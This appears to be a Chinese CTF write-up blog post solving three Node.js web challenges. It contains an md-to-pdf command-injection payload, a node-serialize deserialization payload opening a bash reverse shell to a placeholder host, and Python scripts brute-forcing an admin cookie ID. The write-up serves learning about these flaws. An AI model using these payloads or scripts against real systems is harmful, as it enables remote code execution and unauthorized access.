js测验

Posted by Azeril on September 28, 2023

测试

web1

题目是直接给出附件的,大概的功能就是一个md转pdf

网上搜了一下确实有漏洞

https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880

image-20230928091608629

image-20230928092224117

可是一直报错。。不理解

{"markdown_content":"---js\n((require(\"child_process\")).execSync(\"whoami\"))\n---RCE"}

web2

一个js反序列化的题目

var express = require('express');//这个就一个js文件
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var bodyParser = require('body-parser');
var app = express();
var path = require('path');
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.set('view engine', 'ejs');

app.get('/', (req,res) => {
	res.render('home.ejs');//渲染home.ejs
});

app.post('/', (req,res) => {
	res.render('loggedin.ejs')
});

app.get('/guest', function(req, res) {
   res.render('guest.ejs');
});

app.post('/guest', function(req, res) {
   if (req.cookies.guest) {//提取guest中的cookie
   	var str = new Buffer(req.cookies.guest, 'base64').toString();//base64加密
   	var obj = serialize.unserialize(str);//这里反序列化没太看懂
   	if (obj.username) {
     	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
   }
 } else {
	 var username = req.body.username //输入username
	 var country = req.body.country  //输入country
 	 var city = req.body.city   // 输入city
	 var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
     var encoded_data = new Buffer(serialized_info).toString('base64');
	 res.cookie('guest', encoded_data, {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello!");
});
app.listen(process.env.PORT || 7777);
console.log("Listening on port 7777...");

很明显看出来就是一个serialize的问题

https://zhuanlan.zhihu.com/p/25581847

https://cloud.tencent.com/developer/article/1374840

payload

{"rce":"_$$ND_FUNC$$_function (){\n \t
require('child_process').exec('bash -c \"bash -i >&
/dev/tcp/4vps/4444 0>&1\"',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}  

web3

const express = require("express")
const cookieParser = require("cookie-parser")
const ejs = require("ejs")// 猜测漏洞是ejs模板的问题,然后flag再 env中
require("dotenv").config()

const app = express()
app.use(express.urlencoded({ extended: true }))
app.use(cookieParser())
app.set("view engine", "ejs")
app.use(express.static("public"))

const users = [//这里看着像定义用户信息之类的
    {
        userID: "972",
        username: "kupatergent",
        password: "gandal"
    },
    {
        userID: "****",
        username: "admin"
    }
]

app.get("/", (req, res) => {
    const admin = users.find(u => u.username === "admin")//这里获得的就是当前的对象
    //需要我们传一个userData名字的cookie
    if(req.cookies && req.cookies.userData && req.cookies.userData.userID) {//这是判断cookies中userData字段 继续userId
        const {userID, username} = req.cookies.userData//传送一个json

        if(req.cookies.userData.userID === admin.userID) //这里因为本来的userid就是不可见的
            res.render("home.ejs", {username: username, flag: process.env.FLAG})//这里如果满足才会出现flag
        else res.render("home.ejs", {username: username, flag: "no flag for you"})
    } else {
        res.render("unauth.ejs")
    }
})

app.route("/login")
.get((req, res) => {
    if(req.cookies.userData && req.cookies.userData.userID) {
        res.redirect("/")
    } else {
        res.render("login.ejs", {err: false})
    }
})
.post((req, res)=> {
    const request = {
        username: req.body.username,
        password: req.body.password
    }
    const user = users.find(u => (u.username === request.username && u.password === request.password))
    if(user) {
        res.cookie("userData", {userID: user.userID, username: user.username})
        res.redirect("/")
    } else {
        res.render("login", {err: true}) // didn't work!
    }
})

app.get("/logout", (req, res) => {
    res.clearCookie("userData")
    res.redirect("/login")
}) 

app.listen(3000, (err) => {
    if (err) console.log(err);
    else console.log("connected at 3000 :)");
})

流程非常简单

其实就是判断输入的cookie中的 userid是否和 管理员中的userid值相等,如果相等就会返回flag

看了看有没有原型链污染的漏洞,最后发现没有,所以尝试爆破userid

一开始自己写的脚本 (不忍直视)

import requests
a="0123456789"
for i in a :
    for j in a:
        for n in a:
            for m in a:

                 string={"username":"JYcxk","userID":i+j+n+m}
                 url="http://43.129.87.71:10003/"
                 res=requests.get(url=url,json=string)
                 if "{" in res.text:
                  print(res.text)

参考了以下✌的发现,需要先登陆看下cookie(源码给出了一个账号用来登陆)

import requests
url="http://43.129.87.71:10003/"
for i  in range(100,1000):
    cookie={"userData":f"j%3A%7B%22userID%22%3A%22{i}%22%2C%22username%22%3A%22kupatergent%22%7D"}
    res=requests.get(url,cookies=cookie)
    if 'flag{' in res.text:
        print(res.text)
        break

image-20230928161455123

j%3A%7B%22userID%22%3A%22{}%22%2C%22username%22%3A%22kupatergent%22%7D

image-20230928161903282

image-20231003144021175


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。